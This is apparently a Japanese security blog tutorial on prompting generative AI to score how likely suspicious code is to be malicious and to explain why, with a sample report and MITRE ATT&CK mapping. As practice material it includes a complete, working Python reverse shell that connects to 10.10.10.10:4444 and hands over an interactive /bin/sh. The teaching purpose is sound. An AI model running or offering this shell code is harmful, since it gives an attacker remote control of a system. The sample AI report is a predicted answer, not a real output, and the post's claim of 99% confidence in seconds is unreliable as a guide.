セキュリティに真剣な皆さん、こんにちは!🕵️♂️
セキュリティ監視やインシデント対応業務を行っていると、あるいはインターネットで見つけたオープンソースコードを見ていて、「あれ?このコード、ちょっと怪しいな?」と思う瞬間が訪れます。
自分で一行一行分析するには時間がかかりすぎますし、かといってそのまま実行するのは危険すぎます。まさにこんな時、私たちの賢い秘書である生成AI(ChatGPT、Claude、Geminiなど)を活用すれば、分析時間を画期的に短縮できます。
単に「これウイルス?」と聞くのは素人!🙅♂️ 今日は、AIにコードを入力し、悪性確率を数値化し、その論理的根拠まで詳細に報告させるプロンプトエンジニアリングの手法を実践してみましょう。

1. 🎯 今日の目標
- 疑わしいコードの断片をAIに入力します。
- 「悪性である確率(%)」と「判断根拠」を体系的に回答してもらいます。
- AIが分析した内容に基づいて実際の危険度を判断します。
2. 🧪 実践の準備物
- 生成AIモデル:ChatGPT(GPT-4推奨)、Claude 3、Geminiなど、何でも構いません。
- 分析するサンプルコード:(実践のために、以下に簡単な「リバースシェル」の例コードを用意しました。)
⚠️ 注意:以下のコードは実践用に提供される攻撃シミュレーションコードです。決して実際の運用環境やご自身のPCで実行しないでください!目視で確認し、コピーしてAIに貼り付けるだけにしてください。
[実践用サンプルコード (Python Reverse Shell)]
Python
import socket, subprocess, os
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
connect()
3. ⌨️ 実践プロンプト入力(チートシート公開)
AIから優れた回答を得るには、優れた質問を投げかける必要があります。以下のプロンプトをコピーしてAIに入力してみてください。
[ 📋 AI入力プロンプト ]
役割:あなたは20年の経験を持つマルウェアアナリストであり、セキュリティ専門家です。
>
状況:私は社内システムで不審なスクリプトファイルを発見しました。このコードが悪意のある目的で作成されたものか、緊急に確認する必要があります。
>
要請事項:以下のコードを精密に分析し、次の形式に合わせてレポートを作成してください。
>
1. 悪性確率:(0%〜100%の間で数値化して表示)
2. 判断要約:一行で結論を要約(例:「典型的なリバースシェル攻撃コードです。」)
3. 詳細根拠(3つ以上):コードが危険だと判断した技術的理由を、関数名やライブラリ名を引用して説明してください。
4. 予想される被害:このコードが実行された場合にシステムに与える影響。
5. MITRE ATT&CKマッピング:関連する戦術/技術IDがあれば明記してください。
>
[分析するコード](ここに上記でコピーした実践用サンプルコードを貼り付けてください)
4. 📊 AI分析結果の確認と解釈
上記のプロンプトを入力すると、AIは以下のように鳥肌が立つほど正確な分析結果を出力します。(実際のGPT-4級モデルの予想回答です。)
🤖 AIの回答例
🚨 分析レポート
>
1. 悪性確率:99%(非常に危険)
>
2. 判断要約:攻撃者のサーバーにシステム制御権を渡す典型的なPythonリバースシェルコードです。
>
3. 詳細根拠:
>
– ソケット接続 (socket.connect):外部IP(10.10.10.10)の特定のポート(4444)へのネットワーク接続を試みます。これはC2サーバー通信と疑われます。
– 入出力リダイレクト (os.dup2):標準入力(0)、標準出力(1)、標準エラー(2)をすべてソケットに複製します。つまり、被害者コンピュータのターミナル画面が攻撃者に送信されます。
– シェル実行 (subprocess.call):/bin/sh -iを介して対話型シェルを実行し、攻撃者がリモートからコマンドを入力できるようにします。
>
4. 予想される被害:攻撃者がリモートからシステムの管理者権限を奪取したり、内部ネットワークを偵察したり、追加のマルウェアをダウンロードしてランサムウェア感染やデータ流出を引き起こす可能性があります。
>
5. MITRE ATT&CKマッピング:
>
– T1059.004: Command and Scripting Interpreter (Python)
– T1095: Non-Application Layer Protocol
5. 💡 裏技:「誤検知(False Positive)」を減らす方法
AIは、時として正常なシステム管理ツールをマルウェアと誤解することがあります。(例:管理者がリモート修復のために作成したスクリプトなど)
こんな時は、プロンプトの最後に一言追加してください:
ただし、このコードがシステム管理者が合法的なリモート制御のために作成した可能性もありますか?
もしそうであれば、正常なコードと悪性コードを区別する文脈的基準は何ですか?
このように尋ねると、AIは「承認されたIPアドレスであるか確認してください」や「コード署名があるか確認してください」といった追加の検証ポイントを教えてくれます。本当に賢いですね?👍
6. まとめ 📝
今日の演習を通じて、私たちはわずか数秒でコードの危険性を99%確信できるようになりました。
- コード準備 ➡️ 専門家ペルソナ付与 ➡️ 確率と根拠の要請
この3段階の公式を覚えておけば、皆さんはどんな見慣れないコードに出会っても慌てることなく、迅速に一次分析を完了できます。AIを皆さんの頼れる「セキュリティパートナー」として活用してみてください!
お役に立てたなら、ぜひ周りの同僚にもこの裏技を共有してください。次回もさらに役立つセキュリティ実践でお会いしましょう!安全な一日をお過ごしください!🛡️✨
コメントを残す